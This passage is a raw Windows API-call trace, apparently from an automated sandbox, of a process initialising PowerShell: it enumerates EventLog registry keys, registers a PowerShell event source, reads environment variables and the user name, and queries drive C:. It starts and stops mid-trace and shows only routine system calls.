CoTaskMemAlloc (cb=0x204) returned 0x1705a0 [0084.534] RegEnumKeyExW (in: hKey=0x370, dwIndex=0x2, lpName=0x1705a0, lpcchName=0x24d268, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Internet Explorer", lpcchName=0x24d268, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0084.534] CoTaskMemFree (pv=0x1705a0) [0084.534] CoTaskMemFree (pv=0x0) [0084.534] CoTaskMemAlloc (cb=0x204) returned 0x1705a0 [0084.534] RegEnumKeyExW (in: hKey=0x370, dwIndex=0x3, lpName=0x1705a0, lpcchName=0x24d268, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Key Management Service", lpcchName=0x24d268, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0084.534] CoTaskMemFree (pv=0x1705a0) [0084.534] CoTaskMemFree (pv=0x0) [0084.534] CoTaskMemAlloc (cb=0x204) returned 0x1705a0 [0084.534] RegEnumKeyExW (in: hKey=0x370, dwIndex=0x4, lpName=0x1705a0, lpcchName=0x24d268, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Media Center", lpcchName=0x24d268, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0084.534] CoTaskMemFree (pv=0x1705a0) [0084.534] CoTaskMemFree (pv=0x0) [0084.534] CoTaskMemAlloc (cb=0x204) returned 0x1705a0 [0084.535] RegEnumKeyExW (in: hKey=0x370, dwIndex=0x5, lpName=0x1705a0, lpcchName=0x24d268, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="OAlerts", lpcchName=0x24d268, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0084.535] CoTaskMemFree (pv=0x1705a0) [0084.535] CoTaskMemFree (pv=0x0) [0084.535] CoTaskMemAlloc (cb=0x204) returned 0x1705a0 [0084.535] RegEnumKeyExW (in: hKey=0x370, dwIndex=0x6, lpName=0x1705a0, lpcchName=0x24d268, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Security", lpcchName=0x24d268, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0084.535] CoTaskMemFree (pv=0x1705a0) [0084.535] CoTaskMemFree (pv=0x0) [0084.535] CoTaskMemAlloc (cb=0x204) returned 0x1705a0 [0084.535] RegEnumKeyExW (in: hKey=0x370, dwIndex=0x7, lpName=0x1705a0, lpcchName=0x24d268, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="System", lpcchName=0x24d268, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0084.535] CoTaskMemFree (pv=0x1705a0) [0084.535] CoTaskMemFree (pv=0x0) [0084.535] CoTaskMemAlloc (cb=0x204) returned 0x1705a0 [0084.535] RegEnumKeyExW (in: hKey=0x370, dwIndex=0x8, lpName=0x1705a0, lpcchName=0x24d268, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Windows PowerShell", lpcchName=0x24d268, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0084.535] CoTaskMemFree (pv=0x1705a0) [0084.535] CoTaskMemFree (pv=0x0) [0084.535] RegOpenKeyExW (in: hKey=0x370, lpSubKey="Application", ulOptions=0x0, samDesired=0x20019, phkResult=0x24d2c8 | out: phkResult=0x24d2c8*=0x350) returned 0x0 [0084.535] RegOpenKeyExW (in: hKey=0x350, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x24d2c8 | out: phkResult=0x24d2c8*=0x0) returned 0x2 [0084.536] RegOpenKeyExW (in: hKey=0x370, lpSubKey="HardwareEvents", ulOptions=0x0, samDesired=0x20019, phkResult=0x24d2c8 | out: phkResult=0x24d2c8*=0x374) returned 0x0 [0084.536] RegOpenKeyExW (in: hKey=0x374, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x24d2c8 | out: phkResult=0x24d2c8*=0x0) returned 0x2 [0084.536] RegOpenKeyExW (in: hKey=0x370, lpSubKey="Internet Explorer", ulOptions=0x0, samDesired=0x20019, phkResult=0x24d2c8 | out: phkResult=0x24d2c8*=0x378) returned 0x0 [0084.536] RegOpenKeyExW (in: hKey=0x378, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x24d2c8 | out: phkResult=0x24d2c8*=0x0) returned 0x2 [0084.536] RegOpenKeyExW (in: hKey=0x370, lpSubKey="Key Management Service", ulOptions=0x0, samDesired=0x20019, phkResult=0x24d2c8 | out: phkResult=0x24d2c8*=0x37c) returned 0x0 [0084.536] RegOpenKeyExW (in: hKey=0x37c, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x24d2c8 | out: phkResult=0x24d2c8*=0x0) returned 0x2 [0084.536] RegOpenKeyExW (in: hKey=0x370, lpSubKey="Media Center", ulOptions=0x0, samDesired=0x20019, phkResult=0x24d2c8 | out: phkResult=0x24d2c8*=0x380) returned 0x0 [0084.536] RegOpenKeyExW (in: hKey=0x380, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x24d2c8 | out: phkResult=0x24d2c8*=0x0) returned 0x2 [0084.536] RegOpenKeyExW (in: hKey=0x370, lpSubKey="OAlerts", ulOptions=0x0, samDesired=0x20019, phkResult=0x24d2c8 | out: phkResult=0x24d2c8*=0x384) returned 0x0 [0084.537] RegOpenKeyExW (in: hKey=0x384, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x24d2c8 | out: phkResult=0x24d2c8*=0x0) returned 0x2 [0084.537] RegOpenKeyExW (in: hKey=0x370, lpSubKey="Security", ulOptions=0x0, samDesired=0x20019, phkResult=0x24d2c8 | out: phkResult=0x24d2c8*=0x0) returned 0x5 [0084.551] RegOpenKeyExW (in: hKey=0x370, lpSubKey="System", ulOptions=0x0, samDesired=0x20019, phkResult=0x24d2c8 | out: phkResult=0x24d2c8*=0x388) returned 0x0 [0084.552] RegOpenKeyExW (in: hKey=0x388, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x24d2c8 | out: phkResult=0x24d2c8*=0x0) returned 0x2 [0084.552] RegOpenKeyExW (in: hKey=0x370, lpSubKey="Windows PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x24d2c8 | out: phkResult=0x24d2c8*=0x38c) returned 0x0 [0084.552] RegOpenKeyExW (in: hKey=0x38c, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x24d2c8 | out: phkResult=0x24d2c8*=0x390) returned 0x0 [0084.552] RegCloseKey (hKey=0x390) returned 0x0 [0084.552] RegCloseKey (hKey=0x370) returned 0x0 [0084.553] RegCloseKey (hKey=0x38c) returned 0x0 [0084.555] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SYSTEM\\CurrentControlSet\\Services\\EventLog", ulOptions=0x0, samDesired=0x20019, phkResult=0x24d238 | out: phkResult=0x24d238*=0x38c) returned 0x0 [0084.555] RegQueryInfoKeyW (in: hKey=0x38c, lpClass=0x0, lpcchClass=0x0, lpReserved=0x0, lpcSubKeys=0x24d1ac, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x24d1a8, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0 | out: lpClass=0x0, lpcchClass=0x0, lpcSubKeys=0x24d1ac*=0x9, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x24d1a8*=0x10, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0) returned 0x0 [0084.555] CoTaskMemFree (pv=0x0) [0084.555] CoTaskMemAlloc (cb=0x204) returned 0x1705a0 [0084.555] RegEnumKeyExW (in: hKey=0x38c, dwIndex=0x0, lpName=0x1705a0, lpcchName=0x24d238, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Application", lpcchName=0x24d238, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0084.555] CoTaskMemFree (pv=0x1705a0) [0084.555] CoTaskMemFree (pv=0x0) [0084.555] CoTaskMemAlloc (cb=0x204) returned 0x1705a0 [0084.555] RegEnumKeyExW (in: hKey=0x38c, dwIndex=0x1, lpName=0x1705a0, lpcchName=0x24d238, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="HardwareEvents", lpcchName=0x24d238, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0084.555] CoTaskMemFree (pv=0x1705a0) [0084.555] CoTaskMemFree (pv=0x0) [0084.555] CoTaskMemAlloc (cb=0x204) returned 0x1705a0 [0084.556] RegEnumKeyExW (in: hKey=0x38c, dwIndex=0x2, lpName=0x1705a0, lpcchName=0x24d238, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Internet Explorer", lpcchName=0x24d238, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0084.556] CoTaskMemFree (pv=0x1705a0) [0084.556] CoTaskMemFree (pv=0x0) [0084.556] CoTaskMemAlloc (cb=0x204) returned 0x1705a0 [0084.556] RegEnumKeyExW (in: hKey=0x38c, dwIndex=0x3, lpName=0x1705a0, lpcchName=0x24d238, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Key Management Service", lpcchName=0x24d238, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0084.556] CoTaskMemFree (pv=0x1705a0) [0084.556] CoTaskMemFree (pv=0x0) [0084.556] CoTaskMemAlloc (cb=0x204) returned 0x1705a0 [0084.556] RegEnumKeyExW (in: hKey=0x38c, dwIndex=0x4, lpName=0x1705a0, lpcchName=0x24d238, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Media Center", lpcchName=0x24d238, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0084.556] CoTaskMemFree (pv=0x1705a0) [0084.556] CoTaskMemFree (pv=0x0) [0084.556] CoTaskMemAlloc (cb=0x204) returned 0x1705a0 [0084.556] RegEnumKeyExW (in: hKey=0x38c, dwIndex=0x5, lpName=0x1705a0, lpcchName=0x24d238, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="OAlerts", lpcchName=0x24d238, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0084.556] CoTaskMemFree (pv=0x1705a0) [0084.556] CoTaskMemFree (pv=0x0) [0084.556] CoTaskMemAlloc (cb=0x204) returned 0x1705a0 [0084.556] RegEnumKeyExW (in: hKey=0x38c, dwIndex=0x6, lpName=0x1705a0, lpcchName=0x24d238, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Security", lpcchName=0x24d238, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0084.556] CoTaskMemFree (pv=0x1705a0) [0084.556] CoTaskMemFree (pv=0x0) [0084.556] CoTaskMemAlloc (cb=0x204) returned 0x1705a0 [0084.556] RegEnumKeyExW (in: hKey=0x38c, dwIndex=0x7, lpName=0x1705a0, lpcchName=0x24d238, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="System", lpcchName=0x24d238, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0084.557] CoTaskMemFree (pv=0x1705a0) [0084.557] CoTaskMemFree (pv=0x0) [0084.557] CoTaskMemAlloc (cb=0x204) returned 0x1705a0 [0084.557] RegEnumKeyExW (in: hKey=0x38c, dwIndex=0x8, lpName=0x1705a0, lpcchName=0x24d238, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Windows PowerShell", lpcchName=0x24d238, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0084.557] CoTaskMemFree (pv=0x1705a0) [0084.557] CoTaskMemFree (pv=0x0) [0084.557] RegOpenKeyExW (in: hKey=0x38c, lpSubKey="Application", ulOptions=0x0, samDesired=0x20019, phkResult=0x24d298 | out: phkResult=0x24d298*=0x370) returned 0x0 [0084.557] RegOpenKeyExW (in: hKey=0x370, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x24d298 | out: phkResult=0x24d298*=0x0) returned 0x2 [0084.557] RegOpenKeyExW (in: hKey=0x38c, lpSubKey="HardwareEvents", ulOptions=0x0, samDesired=0x20019, phkResult=0x24d298 | out: phkResult=0x24d298*=0x390) returned 0x0 [0084.557] RegOpenKeyExW (in: hKey=0x390, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x24d298 | out: phkResult=0x24d298*=0x0) returned 0x2 [0084.557] RegOpenKeyExW (in: hKey=0x38c, lpSubKey="Internet Explorer", ulOptions=0x0, samDesired=0x20019, phkResult=0x24d298 | out: phkResult=0x24d298*=0x394) returned 0x0 [0084.558] RegOpenKeyExW (in: hKey=0x394, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x24d298 | out: phkResult=0x24d298*=0x0) returned 0x2 [0084.558] RegOpenKeyExW (in: hKey=0x38c, lpSubKey="Key Management Service", ulOptions=0x0, samDesired=0x20019, phkResult=0x24d298 | out: phkResult=0x24d298*=0x398) returned 0x0 [0084.558] RegOpenKeyExW (in: hKey=0x398, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x24d298 | out: phkResult=0x24d298*=0x0) returned 0x2 [0084.558] RegOpenKeyExW (in: hKey=0x38c, lpSubKey="Media Center", ulOptions=0x0, samDesired=0x20019, phkResult=0x24d298 | out: phkResult=0x24d298*=0x39c) returned 0x0 [0084.558] RegOpenKeyExW (in: hKey=0x39c, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x24d298 | out: phkResult=0x24d298*=0x0) returned 0x2 [0084.558] RegOpenKeyExW (in: hKey=0x38c, lpSubKey="OAlerts", ulOptions=0x0, samDesired=0x20019, phkResult=0x24d298 | out: phkResult=0x24d298*=0x3a0) returned 0x0 [0084.559] RegOpenKeyExW (in: hKey=0x3a0, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x24d298 | out: phkResult=0x24d298*=0x0) returned 0x2 [0084.559] RegOpenKeyExW (in: hKey=0x38c, lpSubKey="Security", ulOptions=0x0, samDesired=0x20019, phkResult=0x24d298 | out: phkResult=0x24d298*=0x0) returned 0x5 [0084.561] RegOpenKeyExW (in: hKey=0x38c, lpSubKey="System", ulOptions=0x0, samDesired=0x20019, phkResult=0x24d298 | out: phkResult=0x24d298*=0x3a4) returned 0x0 [0084.561] RegOpenKeyExW (in: hKey=0x3a4, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x24d298 | out: phkResult=0x24d298*=0x0) returned 0x2 [0084.561] RegOpenKeyExW (in: hKey=0x38c, lpSubKey="Windows PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x24d298 | out: phkResult=0x24d298*=0x3a8) returned 0x0 [0084.561] RegOpenKeyExW (in: hKey=0x3a8, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x24d298 | out: phkResult=0x24d298*=0x3ac) returned 0x0 [0084.561] RegCloseKey (hKey=0x3ac) returned 0x0 [0084.562] RegCloseKey (hKey=0x38c) returned 0x0 [0084.562] RegCloseKey (hKey=0x3a8) returned 0x0 [0084.574] RegisterEventSourceW (lpUNCServerName=".", lpSourceName="PowerShell") returned 0x1b840008 [0084.578] ReportEventW (hEventLog=0x1b840008, wType=0x4, wCategory=0x6, dwEventID=0x258, lpUserSid=0x0, wNumStrings=0x3, dwDataSize=0x0, lpStrings=0x3c95f98*="WSMan", lpRawData=0x3c95d08) returned 1 [0084.583] CoTaskMemAlloc (cb=0x104) returned 0x1b75b480 [0084.583] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x1b75b480, nSize=0x80 | out: lpBuffer="") returned 0x0 [0084.583] CoTaskMemFree (pv=0x1b75b480) [0084.584] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24cdd0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0084.585] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24cd20, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0084.585] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24cd20, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0084.586] CoTaskMemAlloc (cb=0x804) returned 0x1b763eb0 [0084.586] GetUserNameExW (in: NameFormat=0x2, lpNameBuffer=0x1b763eb0, nSize=0x24d528 | out: lpNameBuffer="YKYD69Q\\aETAdzjz", nSize=0x24d528) returned 0x1 [0084.586] CoTaskMemFree (pv=0x1b763eb0) [0084.586] CoTaskMemAlloc (cb=0x204) returned 0x1705a0 [0084.586] GetUserNameW (in: lpBuffer=0x1705a0, pcbBuffer=0x24d568 | out: lpBuffer="aETAdzjz", pcbBuffer=0x24d568) returned 1 [0084.586] CoTaskMemFree (pv=0x1705a0) [0084.587] ReportEventW (hEventLog=0x1b840008, wType=0x4, wCategory=0x6, dwEventID=0x258, lpUserSid=0x0, wNumStrings=0x3, dwDataSize=0x0, lpStrings=0x3c9b480*="Alias", lpRawData=0x3c9b210) returned 1 [0084.591] CoTaskMemAlloc (cb=0x104) returned 0x1b75b480 [0084.591] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x1b75b480, nSize=0x80 | out: lpBuffer="") returned 0x0 [0084.591] CoTaskMemFree (pv=0x1b75b480) [0084.592] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24cdd0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0084.592] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24cd20, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0084.593] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24cd20, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0084.593] CoTaskMemAlloc (cb=0x804) returned 0x1b763eb0 [0084.593] GetUserNameExW (in: NameFormat=0x2, lpNameBuffer=0x1b763eb0, nSize=0x24d528 | out: lpNameBuffer="YKYD69Q\\aETAdzjz", nSize=0x24d528) returned 0x1 [0084.594] CoTaskMemFree (pv=0x1b763eb0) [0084.594] CoTaskMemAlloc (cb=0x204) returned 0x1705a0 [0084.594] GetUserNameW (in: lpBuffer=0x1705a0, pcbBuffer=0x24d568 | out: lpBuffer="aETAdzjz", pcbBuffer=0x24d568) returned 1 [0084.594] CoTaskMemFree (pv=0x1705a0) [0084.594] ReportEventW (hEventLog=0x1b840008, wType=0x4, wCategory=0x6, dwEventID=0x258, lpUserSid=0x0, wNumStrings=0x3, dwDataSize=0x0, lpStrings=0x3ca0a28*="Environment", lpRawData=0x3ca07b8) returned 1 [0084.596] CoTaskMemAlloc (cb=0x104) returned 0x1b75b480 [0084.596] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x1b75b480, nSize=0x80 | out: lpBuffer="") returned 0x0 [0084.596] CoTaskMemFree (pv=0x1b75b480) [0084.596] CoTaskMemAlloc (cb=0x104) returned 0x1b75b480 [0084.596] GetEnvironmentVariableW (in: lpName="HOMEDRIVE", lpBuffer=0x1b75b480, nSize=0x80 | out: lpBuffer="C:") returned 0x2 [0084.596] CoTaskMemFree (pv=0x1b75b480) [0084.596] CoTaskMemAlloc (cb=0x104) returned 0x1b75b480 [0084.596] GetEnvironmentVariableW (in: lpName="HOMEPATH", lpBuffer=0x1b75b480, nSize=0x80 | out: lpBuffer="\\Users\\aETAdzjz") returned 0xf [0084.597] CoTaskMemFree (pv=0x1b75b480) [0084.597] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz", nBufferLength=0x105, lpBuffer=0x24d0d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz", lpFilePart=0x0) returned 0x11 [0084.597] SetErrorMode (uMode=0x1) returned 0x1 [0084.597] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz" (normalized: "c:\\users\\aetadzjz"), fInfoLevelId=0x0, lpFileInformation=0x24d2e0 | out: lpFileInformation=0x24d2e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2329edc0, ftCreationTime.dwHighDateTime=0x1d2f180, ftLastAccessTime.dwLowDateTime=0x7d929a80, ftLastAccessTime.dwHighDateTime=0x1d2f182, ftLastWriteTime.dwLowDateTime=0x7d929a80, ftLastWriteTime.dwHighDateTime=0x1d2f182, nFileSizeHigh=0x0, nFileSizeLow=0x2000)) returned 1 [0084.597] SetErrorMode (uMode=0x1) returned 0x1 [0084.617] GetLogicalDrives () returned 0x4 [0084.624] GetFullPathNameW (in: lpFileName="C:\\.", nBufferLength=0x105, lpBuffer=0x24ce40, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0084.626] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0084.626] SetErrorMode (uMode=0x1) returned 0x1 [0084.627] CoTaskMemAlloc (cb=0x68) returned 0x1b759c50 [0084.627] CoTaskMemAlloc (cb=0x68) returned 0x1b759cc0 [0084.627] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x1b759c50, nVolumeNameSize=0x32, lpVolumeSerialNumber=0x24d2b0, lpMaximumComponentLength=0x24d2ac, lpFileSystemFlags=0x24d2a8, lpFileSystemNameBuffer=0x1b759cc0, nFileSystemNameSize=0x32 | out: lpVolumeNameBuffer="SYSTEM", lpVolumeSerialNumber=0x24d2b0*=0x705ba84c, lpMaximumComponentLength=0x24d2ac*=0xff, lpFileSystemFlags=0x24d2a8*=0x3e700ff, lpFileSystemNameBuffer="NTFS") returned 1 [0084.627] CoTaskMemFree (pv=0x1b759c50) [0084.627] CoTaskMemFree (pv=0x1b759cc0) [0084.627] SetErrorMode (uMode=0x1) returned 0x1 [0084.627] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0084.629] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x24cff0, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0084.629] SetErrorMode (uMode=0x1) returned 0x1 [0084.629] GetFileAttributesExW (in: lpFileName="C:\\" (normalized: "c:"), fInfoLevelId=0x0, lpFileInformation=0x24d250 | out: lpFileInformation=0x24d250*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x3c0142d0, ftCreationTime.dwHighDateTime=0x1ca042c, ftLastAccessTime.dwLowDateTime=0x6cd47e0, ftLastAccessTime.dwHighDateTime=0x1d337b1, ftLastWriteTime.dwLowDateTime=0x6cd47e0, ftLastWriteTime.dwHighDateTime=0x1d337b1, nFileSizeHigh=0x0, nFileSizeLow=0x2000)) returned 1 [0084.629] SetErrorMode (uMode=0x1) returned 0x1 [0084.629] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x24cff0, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0084.630] GetFullPathNameW (in: lpFileName="C:\\.", nBufferLength=0x105, lpBuffer=0x24cea0, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0084.630] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0084.630] GetFullPathNameW (in: lpFileName="C:\\.", nBufferLength=0x105, lpBuffer=0x24cdd0, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0084.630] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0084.631] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x24ce20, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0084.631] SetErrorMode (uMode=0x1) returned 0x1 [0084.632] GetFileAttributesExW (in: lpFileName="C:\\" (normalized: "c:"), fInfoLevelId=0x0, lpFileInformation=0x24d080 | out: lpFileInformation=0x24d080*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x3c0142d0, ftCreationTime.dwHighDateTime=0x1ca042c, ftLastAccessTime.dwLowDateTime=0x6cd47e0, ftLastAccessTime.dwHighDateTime=0x1d337b1, ftLastWriteTime.dwLowDateTime=0x6cd47e0, ftLastWriteTime.dwHighDateTime=0x1d337b1, nFileSizeHigh=0x0, nFileSizeLow=0x2000)) returned 1 [0084.632] SetErrorMode (uMode=0x1) returned 0x1 [0084.632] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x24ce20, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0084.632] SetErrorMode (uMode=0x1) returned 0x1 [0084.632] GetFileAttributesExW (in: lpFileName="C:\\" (normalized: "c:"), fInfoLevelId=0x0, lpFileInformation=0x24d080 | out: lpFileInformation=0x24d080*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x3c0142d0, ftCreationTime.dwHighDateTime=0x1ca042c, ftLastAccessTime.dwLowDateTime=0x6cd47e0, ftLastAccessTime.dwHighDateTime=0x1d337b1, ftLastWriteTime.dwLowDateTime=0x6cd47e0, ftLastWriteTime.dwHighDateTime=0x1d337b1, nFileSizeHigh=0x0, nFileSizeLow=0x2000)) returned 1 [0084.632] SetErrorMode (uMode=0x1) returned 0x1 [0084.632] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x24cec0, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0084.633] SetErrorMode (uMode=0x1) returned 0x1 [0084.633] GetFileAttributesExW (in: lpFileName="C:\\" (normalized: "c:"), fInfoLevelId=0x0, lpFileInformation=0x24d120 | out: lpFileInformation=0x24d120*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x3c0142d0, ftCreationTime.dwHighDateTime=0x1ca042c, ftLastAccessTime.dwLowDateTime=0x6cd47e0, ftLastAccessTime.dwHighDateTime=0x1d337b1, ftLastWriteTime.dwLowDateTime=0x6cd47e0, ftLastWriteTime.dwHighDateTime=0x1d337b1, nFileSizeHigh=0x0, nFileSizeLow=0x2000)) returned 1 [0084.633] SetErrorMode (uMode=0x1) returned 0x1 [0084.633] CoTaskMemAlloc (cb=0x804) returned 0x1b763eb0 [0084.633] GetUserNameExW (in: NameFormat=0x2, lpNameBuffer=0x1b763eb0, nSize=0x24d528 | out: lpNameBuffer="YKYD69Q\\aETAdzjz", nSize=0x24d528) returned 0x1 [0084.633] CoTaskMemFree (pv=0x1b763eb0) [0084.634] CoTaskMemAlloc (cb=0x204) returned 0x1705a0 [0084.634] GetUserNameW (in: lpBuffer=0x1705a0, pcbBuffer=0x24d568 | out: lpBuffer="aETAdzjz", pcbBuffer=0x24d568) returned 1 [0084.634] CoTaskMemFree (pv=0x1705a0) [0084.635] ReportEventW (hEventLog=0x1b840008, wType=0x4, wCategory=0x6, dwEventID=0x258, lpUserSid=0x0, wNumStrings=0x3, dwDataSize=0x0, lpStrings=0x3ca7a80*="FileSystem", 